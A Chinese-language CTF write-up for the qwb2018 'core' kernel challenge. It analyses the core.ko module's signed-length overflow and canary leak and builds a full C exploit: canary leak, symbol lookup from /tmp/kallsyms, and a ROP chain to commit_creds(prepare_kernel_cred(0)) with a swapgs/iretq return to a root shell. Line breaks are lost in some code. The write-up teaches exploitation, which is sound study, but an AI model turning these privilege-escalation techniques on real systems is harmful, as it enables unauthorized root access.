Kernel PWN 入门(二)
Basic Kernel ROP
qwb2018-core
Kernel ROP
的本质是为了提权。并且rop结束部分需要引导程序流着陆回用户态.
题目给出了bzImage, core.cpio, start.sh, vmlinux
四个文件。
首先将文件系统,core.cpio解包。
mkdir ./fs
cd fs
cp ../core.cpio ./core.cpio.gz
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio
发现除了常规文件以外,还多了一个gen_cpio.sh方便快速打包。
首先来看start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
开启了kaslr保护,并且用-s
为gdb
开了端口,所以不需要再-gdb tcp::1234
开了。
不过他设置的64M内存不是很够用,我最终设置到了512M才能启动。
为了方便后续调试可以做如下修改:
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.img \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr nopti mitigations=off" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
这里文件系统改成rootfs.img
是后面我们对文件系统进行修改或者写exp后重新打包后的东西。
-
nokaslr
: 禁用 KASLR(内核地址空间布局随机化),确保调试时地址固定。 -
nopti
: 禁用 PTI(页表隔离),提升性能(但降低安全性)。 -
mitigations=off
: 关闭所有安全缓解措施(如 Spectre/Meltdown 防护),避免干扰漏洞利用。
然后再来看fs文件下的init文件
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.kopoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /syspoweroff -d 0 -f
比较特殊的地方就是将/proc/sys/kernel/kptr_restrict和/proc/sys/kernel/dmesg_restrict
的内容设为了1
,如此一来,就无法通过dmesg和查看/proc/kallsyms
来获取函数地址了。
但是前面有一行。
cat /proc/kallsyms > /tmp/kallsyms
将kallsyms备份到了tmp文件夹下。所以我们可以查看tmp目录下的kallsyms
setsid /bin/cttyhack setuidgid 1000 /bin/sh
这里设置了权限为普通用户,改为0
就是root权限,可以方便调试。
然后之后设置了poweroff -d 120 -f
,这句比较影响之后的调试,可以直接删掉,或者把时间改长一点。
最后做出如下修改:
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
# 禁用内核符号地址隐藏(关键调试配置)
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrictifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.kopoweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 0 /bin/sh #root#移除关机逻辑
# echo 'sh end!\n'
# umount /proc
# umount /sys# poweroff -d 0 -f# 添加保持系统运行的机制
echo "[+] Debug shell exited. Keeping the system alive..."
while true; dosleep 99999999
done
这里可以不用sleep而是直接把120改大一点就欧克了。
分析
接下来就是分析core.ko的漏洞了
checksec发现开启了canary和nx。
init_module函数
proc_create
是 Linux 内核中的一个函数,用于创建一个新的 /proc
文件系统条目。这个函数常用于内核模块中,以便在 /proc 文件系统下创建一个新的文件,使得用户空间程序可以通过这个文件与内核模块进行交互。
这里创建一个名为 : /proc/core
对于这里的fops
,也只对core_write
,core_ioctl
,core_release
进行了注册。
core_ioctl函数
这里core_ioctl中定义了三种操作,分别是调用core_read()
,设置全局变量off
,调用core_copy_func()
。
core_read函数
这里的copy_to_user()
,会把内核空间中的栈上的数据拷贝到a1
,a1
和off
是我们可以控制的,因此可以利用这个函数来泄露canary
core_write函数
core_write是将至多0x800个字节从指定缓冲区复制到name中去
core_copy_func函数(最大漏洞所在)
当长度参数a1
小于等于63时,便可将name
中对应字节数的数据复制到栈上变量v1中去,且a1和63作比较时是有符号数,最后调用qmemcpy
时转成了unsigned __int16
。所以只需要将a1
最低两个字节的数据随便设置成一个能装下name的长度,然后其余字节都是0xff就行了。我这里最后构造的a1
是0xffffffffffff0100
。
利用思路
- 通过调试设置
off
,利用core_read函数去读取canary
- 构造
ROP
链,用core_write函数
往name
中写入数据 - 调用
core_copy_func
,将name
的内容写入栈上变量v1
中,造成栈溢出
,调用commit_creds(prepare_kernel_cred(0))
提权。
再没有开kalsr
和pie
的情况下:
- 原始
无pie
的vmlinux
基址是0xffffffff81000000
commit_creds
的地址是0xffffffff81000000+0x9c8e0
prepare_kernel_creds
的地址是0xffffffff8109cce0
在开启pie和kalsr的情况下,就要重新计算偏移。
可以用ropper
查找后续需要的gadget
ropper --file ./vmlinux --nocolor > rop
泄露canary
先写下如下代码来获取canary
:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);return 0;
}
这里设置off
位0x40,是因为通过调试发现canary在0x40处。
执行copy_to_user()前
:
执行后:
这里就能看出canay的位置。然后canary
已经复制到buf
中
泄露内核基地址
/proc/kallsyms
是Linux/proc
文件系统中的一个虚拟文件,它提供了内核导出的所有符号
(函数和变量)及其地址
的列表。本质上,它是用户空间可以访问的内核符号表。此文件中的每一行都表示一个内核符号
startup_64
是 Linux 内核代码中的一个符号,通常与内核启动过程中的初始化代码
相关。在cat /proc/kallsyms
输出中,startup_64
对应的地址(如 0xffffffff81000000
)是内核的基地址。该地址表示内核加载到内存时的起始位置。
由于init文件
设置了不能查看/proc/kallsyms,
题目初始脚本将 /proc/kallsyms
写入了 /tmp/kallsyms
,因此可以查看/tmp/kallsyms
来获取想要的函数地址。
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);// 获取内核基地址uint64_t kernel_base = get_symbol_address("startup_64");uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");uint64_t commit_creds_addr = get_symbol_address("commit_creds");printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);return 0;
}
ROP
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}void get_root_shell(){if(getuid()==0){system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);// 获取内核基地址uint64_t kernel_base = get_symbol_address("startup_64");uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");uint64_t commit_creds_addr = get_symbol_address("commit_creds");printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);size_t ROP[0x100] = {0};ROP[8] = canary;ROP[10] = kernel_base+0xb2f; //pop rdi; retROP[11] = 0;ROP[12] = prepare_kernel_cred_addr;ROP[13] = kernel_base+0x021e53; //pop rcx; ret ROP[14] = commit_creds_addr;ROP[15] = kernel_base+0x1ae978; //mov rdi, rax; jmp rcx; or mov rdi, rax; call rcx;ROP[16] = kernel_base+0xa012da; //swapgs; popfq; ret;ROP[17] = 0;ROP[18] = kernel_base+0x050ac2; //iretq; ret;ROP[19] = (size_t)get_root_shell; //ripROP[20] = user_cs;ROP[21] = user_rflags;ROP[22] = user_sp;ROP[23] = user_ss;write(fd,ROP,0x800);puts("[+] rop loaded.");core_copy_func(fd,(0xffffffffffff0000|0x100));return 0;
}
通过 ROP 链模拟函数调用,步骤分解:
prepare_kernel_cred(0)
调用prepare_kernel_cred
,参数rdi = 0
。
返回值(cred 结构指针
)存储在rax 寄存器
。
commit_creds(rax)
将rax
的值作为参数传给commit_creds(需移动到 rdi)
返回用户态
由内核态返回用户态只需要:
swapgs
指令恢复用户态GS
寄存器sysretq
或者iretq
恢复到用户空间
那么我们只需要在内核中找到相应的 gadget 并执行swapgs;iretq
就可以成功着陆回用户态。
通常来说,我们应当构造如下 rop 链以返回用户态并获得一个 shell:
↓ swapgsiretquser_shell_addruser_csuser_eflags //64bit user_rflagsuser_spuser_ss
swapgs
: 交换内核态与用户态的gs寄存器
iretq&&sysretq
: 这两个指令都是用于返回用户态
其中iretq
等效
pop rip
pop cs
pop rflags
pop rsp
pop ss
sysretq
则等效
pop rip
调试如下:
最终EXP
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");
}int set_off(int fd,unsigned long off){if(ioctl(fd,0x6677889C,off) == -1){printf("set off ioctl failed!");return -1;}return 0;}int core_read(int fd,void *addr){if(ioctl(fd,0x6677889B,addr) == -1){printf("core_read ioctl failed!");return -1;}return 0;}int core_copy_func(int fd, int64_t len) {if (ioctl(fd, 0x6677889A, len) == -1) {perror("[!] core_copy_func ioctl failed");return -1;}return 0;
}void get_root_shell(){if(getuid()==0){system("/bin/sh");}else{puts("[-] get root shell failed.");exit(-1);}
}unsigned long get_symbol_address(const char *symbol_name) {FILE *fp;char line[1024];unsigned long address;char symbol[1024];// 打开 /proc/kallsyms 文件fp = fopen("/tmp/kallsyms", "r");if (fp == NULL) {perror("fopen");return 0;}// 遍历每一行,查找符号while (fgets(line, sizeof(line), fp) != NULL) {// 解析每行的地址和符号名称if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {// 如果符号名称匹配,返回地址if (strcmp(symbol, symbol_name) == 0) {fclose(fp);return address;}}}// 如果没有找到符号,返回 0fclose(fp);return 0;
}int main(){save_status();int fd = open("/proc/core",O_RDWR);if(fd<0){printf("open error!!!");exit(-1);}printf("[+] open success!\n");// 泄露金丝雀char buf[0x40] = {0};set_off(fd,0x40);core_read(fd,buf);uint64_t canary = ((uint64_t*)buf)[0];printf("[*]leak canary is ------------>>: 0x%lx\n",canary);// 获取内核基地址uint64_t kernel_base = get_symbol_address("startup_64");uint64_t prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");uint64_t commit_creds_addr = get_symbol_address("commit_creds");printf("[*]leak kernel_base address ------->>>: %p\n",kernel_base);printf("[*]leak prepare_kernel_cred address ------->>>: %p\n",prepare_kernel_cred_addr);printf("[*]leak commit_creds address ------->>>: %p\n",commit_creds_addr);size_t ROP[0x100] = {0};ROP[8] = canary;ROP[10] = kernel_base+0xb2f; //pop rdi; retROP[11] = 0;ROP[12] = prepare_kernel_cred_addr;ROP[13] = kernel_base+0x021e53; //pop rcx; ret ROP[14] = commit_creds_addr;ROP[15] = kernel_base+0x1ae978; //mov rdi, rax; jmp rcx; or mov rdi, rax; call rcx;ROP[16] = kernel_base+0xa012da; //swapgs; popfq; ret;ROP[17] = 0;ROP[18] = kernel_base+0x050ac2; //iretq; ret;ROP[19] = (size_t)get_root_shell; //ripROP[20] = user_cs;ROP[21] = user_rflags;ROP[22] = user_sp;ROP[23] = user_ss;write(fd,ROP,0x800);puts("[+] rop loaded.");core_copy_func(fd,(0xffffffffffff0000|0x100));return 0;
}